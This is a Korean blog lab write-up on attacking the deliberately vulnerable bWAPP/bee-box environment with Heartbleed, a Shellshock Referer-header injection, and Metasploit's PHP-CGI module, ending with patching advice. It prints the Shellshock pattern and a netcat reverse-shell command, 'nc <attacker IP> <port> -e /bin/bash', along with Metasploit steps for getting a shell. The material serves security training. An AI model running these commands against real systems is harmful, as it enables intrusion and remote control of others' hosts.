Heartbleed 취약점 공격 실습
하트블리드 취약점은 HTTPS프로토콜의 근간이 되는 SSL/TLS 프로토콜을 구현한 OpenSSL 라이브러리 중 1.0.1 - 1.0.1f 버전에 존재하는 취약점이다.
HTTPS로 구현된 웹사이트들은 안전하다고 알려져 있지만 하트블리드 취약점이 있으면 민감한 정보가 노출될 수 있다.
-실습 목표-
하트블리드 취약점 공격으로 사용자 계정 정보가 노출되도록 해보자.
실습 페이지에 들어와보니 어떤 내용이 쓰여있다.
Nginx웹서버가 취약한 OenSSL버전을 사용하고 있다.(bee-box only)
힌트는 8443 포트에 접속하고 공격스크립트를 실행시키자.
원래 HTTPS 프로토콜로 접속하게 되면 모든 통신의 내용이 암호화되어서 통신 내용이 노출되지 않는데, 여기선 하트블리드 취약점이 있기에 중요한 정보가 노출될 수 있다.
우선 페이지에 있는 공격 스크립트를 클릭해 다운로드해보자.
다운로드하면 이처럼 파일하나가 생성된다.
이제 8443 포트로 접속을 해보자.
그랬더니 이러한 에러가 뜬다. 이런 에러가 뜨는 이유는 실습용 가상머신에서 제공하는 인증서를 신뢰하지 못하기 때문이다.
advanced버튼을 눌러서 사이트를 예외로 추가하면 접속할 수 있다.
이렇게 HTTPS 프로토콜에 포트 8443 번호로 접속이 완료되었다.
이제 공격 스크립트를 실행시켜 보자.
그랬더니 실행 방법이 뜬다. 그대로 따라 해보자.
이렇게 스크립트를 실행하면 결과가 출력된다. 아래의 내용을 확인하다 보면
이렇게 로그인을 시도했을 때의 요청 메시지가 노출된 것을 확인할 수 있다.
Shellshock 취약점 공격과 reverse shell 실습
쉘쇼크는 bash 쉘의 취약점이다. 이 취약점은 2014년에 공개되었으나 1989년 9월부터 존재해 온 것으로 알려져 있다. 이렇게 새로 발견되는 취약점도 있지만 오랜 기간 동안 발견되지 않은 취약점들도 있다.
쉘쇼크는 시스템 환경변수에 특정 패턴의 문자열과 함께 명령어가 저장되어 있으면 쉘을 실행할 때 해당 명령어가 실행되는 취약점이다. 아래가 특정 패턴의 문자열이다.
() {:;}; <command>
이제 bWAPP에서 실습을 해보자.
-실습 목표-
요청 메시지의 referer 헤더를 통해 쉘쇼크 공격을 시도해서 reverse shell을 얻자.
이 페이지에서는 bash쉘이 쉘쇼크 버그에 취약하다는 메시지와 referer 헤더를 공격해서 시스템을 공격하라는 메시지가 쓰여있다.
burpsuite를 확인해 보니 shellshock.php에 대한 요청 다음에 shellshock.sh가 요청된 것을 확인할 수 있다.
shellshock.sh가 요청되면 bash에 의해서 쉘 스크립트가 실행된다.
이때 쉘쇼크 취약점이 존재하므로 shellshock를 요청하는 헤더에다가 코드를 삽입하여서 전송하면 원하는 명령을 수행할 수 있다.
본격적인 실습을 하기 전에 알아야 할 것이 있다.
쉘을 얻는 기법으로는 bind shell과 reverse shell 두 가지가 있는데 이 두가지 쉘을 정리하고 실습을 해보자.
- bind shell : 공격자가 서버 쪽에 listening 포트를 열어서 접속을 기다리도록 만든 후, 공격자 클라이언트에서 서버로 접속하여 셀을 얻는 공격 기이다.
- reverse shell : 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 역방향으로 쉘을 생성하는 공격 기법이다. 여기서는 공격자 호스트가 서버, 침투에 성공한 공격 대상이 클라이언트가 된다.
표로 간단히 정리해 보자.
Bind shell | Reverse shell | |
연결 시작 | 공격자(해커) 시스템에서 시작 | 타겟 시스템에서 시작 |
방화벽 우회 | 어려움 | 상대적으로 쉬움 |
설정 | 타깃 시스템에서 포트 열기 | 공격자 시스템에서 포트 대기 |
탐지 위험 | 가능성 높음 | 상대적으로 낮음 |
이번 실습에서는 reverse shell 기법을 사용할 예정이다.
그렇기 위해서 nc 명령어도 알아야 한다.
nc -lvnp <포트>
- -l : nc를 listening 모드로 동작시킨다. 즉, nc가 서버의 역할을 한다.
- -v : nc 실행 중 발생하는 메시지를 출력한다.
- -n : 호스트 주소나 포트를 number로 표현한다.
- -p : 포트번호 지정
그럼 nc 명령어를 이용해서 쉘을 얻으려면 아래와 같은 명령문을 실행하면 된다.
nc <공격자 호스트 IP> <포트> -e /bin/bash
이 명령문이 실행된다면 nc 명령어 뒤에 지정된 IP 주소와 포트로 접속이 되고 -e옵션은 접속을 한 뒤에 실행할 명령어를 지정하는 옵션이다. /bin/bash를 지정한다면 bash 쉘이 생성이 된다.
bWAPP에서 쉘쇼크 실습 페이지를 이용한 실습과정은 3단계로 이루어진다.
- 칼리 리눅스에서 nc를 서버 모드로 실행
- 요청 메시지의 referer 헤더에 쉘쇼크 공격 패턴을 삽입한 후, nc를 클라이언트 모드로 실행하여 칼리 리눅스로 접속
- 접속으로 생성된 쉘을 통해 post exploit 수행
이제 본격적으로 실습을 진행해 보자.
4000번 포트로 listening을 하자.
그 후에 shellshock.sh를 repeater에게 보내고 referer 헤더를 아래와 같이 변경하자.
() { :;}; 쉘쇼크 공격 패턴 뒤에 nc를 이용하여 칼리 리눅스에서 리스닝하고 있는 4000번 포트로 접속을 했다.
(여기서 /bin/bash 경로를 설정한 이유는 shellshock.sh가 실행될 때 PATH 환경 변수 설정이 되어있지 않아서 직접 입력했다.)
그 후에 send버튼을 누르면
이렇게 연결이 된 것을 확인할 수 있고 명령어도 입력할 수 있게 된다.
위의 사진에서 입력한 명령문은 고급 기법으로 원격 호스트에 파이썬이 설치되어 있다면 프롬포트가 표시되는 쉘로 업그레이드를 해주는 명령문이다.
이것으로 쉘쇼크 취약점을 공격하여 reverse shell로 호스트 침투에 성공을 했다.
그러나 id 명령어를 사용해서 확인한 것처럼 일반 사용자 권한을 얻은 것이지 루트 권한을 얻은 것이 아니기 때문에 제한적이 사항이 있다. 실제 공격이라면 루트권한을 얻기 위한 상승 공격으로 이어지게 될 것이다.
Metasploit을 활용한 PHP-CGI 취약점 공격
PHP 버전 5.3.12와 5.4.2 이전 버전에서는 소스코드가 노출되거나 공격자가 임의의 코드를 실행할 수 있는 취약점이 존재한다. 이 처럼 오래된 버전의 소프트웨어를 사용하는 경우 알려진 취약점에 의해 공격당할 수 있다.
-실습 목표-
PHP-CGI 취약점에 의해 소스코드가 노출될 수 있는 것을 확인하고, metasploit 프레임워크를 이용하여 reverse shell을 얻어보자.
우선 admin페이지의 PHP소스코드를 보기 위해서 다음과 같이 접속해 보자.
원래 PHP 웹 애플리케이션 같은 경우에 PHP로 작성된 코드가 서버에서 실행된 후, 결과값이 HTML이나 자바스크립트 형태로 출력이 돼야 한다. 그러나 위의 사진처럼 PHP코드로 노출된다면 공격에 취약해진다.
많은 공격자들과 전문가들은 취약점 공격을 하기 위해서 metasploit이라는 소프트웨어를 사용한다.
이것은 종합 exploit 프레임워크로 웹 해킹뿐만 아니라 시스템해킹을 비롯한 모든 모의해킹을 수행하는 소프트웨어이다.
metasploit은 기능이 엄청 다양하지만 여기서는 php-cgi 취약점을 공격하는 과정에서 필요한 것만 살펴볼 계획이다.
metasploit을 실행시키면 이런 창이 뜰 것이다.
사용하기 전에 간단하게 공격과정을 알아보자.
- search 명령어로 공격 모듈을 검색하자.
- use 명령어로 공격 모듈 설정 단계로 진입하자.
- show options 명령어로 옵션을 확인하고 set 명령어로 필요한 옵션을 설정하자.
- 공격에 성공하면 실행한 payload를 설정하자.(일반적으로 bind, reverse shell을 설정)
- run 명령어로 공격을 수행하자.
- 공격에 성공하면 payload가 실행되고 post exploit 과정을 수행하자.
그럼 실습도 이러한 과정으로 진행해 보자.
이렇게 search 명령어로 공격 모듈을 찾자. 이제 use 명령어로 모듈 설정 단계로 진입하자.
이제 show options을 실행해서 옵션을 확인하자.
그러면 이렇게 옵션의 이름(name), 현재 설정(current setting), 필수 옵션 여부(required), 옵션 설명(description)이 출력이 된다.
현재 필수옵션 중에서 RHOST 옵션은 기본값이 설정되어 있지 않으므로 설정해야 한다.(RHOST는 공격 대상의 IP 주소를 설정하는 옵션이다.) 또한 필수 옵션이 아니더라도 별도로 설정해야 하는 옵션이 있을 수 있다. 여기서는 TARGETURI가 그런 경우이다.(TARGETURI는 취약점이 존재하는 경로를 설정하는 옵션) 여기서 PHP-CGI 취약점 경로는 /bWAPP/admim/이다.
자, 그럼 옵션값을 설정해 보자.
이렇게 옵션 설정이 끝났다.
다음으로 payload를 설정해 보자.
show 명령어로 이렇게 목록을 확인할 수 있다.
이번 실습에서는 네모 표시한 부분을 payload로 설정할 것이다.
일반적으로 reverse shell payload인 경우 LHOST와 LPORT를 설정해야 한다. 이 두 개는 reverse shell에서 기다릴 로컬 호스트의 IP주소와 포트이다. LPORT는 기본값을 사용해도 된다.(여기선 기본값 사용)
이제 모든 설정이 끝났으니 run 명령어로 실행시키자.
그럼 이렇게 쉘을 얻을 수 있다.
알려진 취약점 공격 대응법
- 항상 소프트웨어를 최신버전으로 업데이트하자.
- 오픈소스를 사용하는 경우에 오픈소스의 구성요소를 분석해서 나열하고, 모니터링하여, 항상 최신 패치가 적용되도록 관리하는 프로세스가 성립되어야 한다.
- 알려진 취약점을 확인할 수 있는 소프트웨어를 포함시켜서 개발 프로세스 자동화를 구축시키는 것도 좋은 방법이다.
'Web Hacking > 기타' 카테고리의 다른 글
자바 역직렬화 취약점 공격 (0) | 2024.07.07 |
---|---|
접근 통제 취약점 공격 (0) | 2024.07.06 |
민감한 데이터 노출 사례 실습 (0) | 2024.07.01 |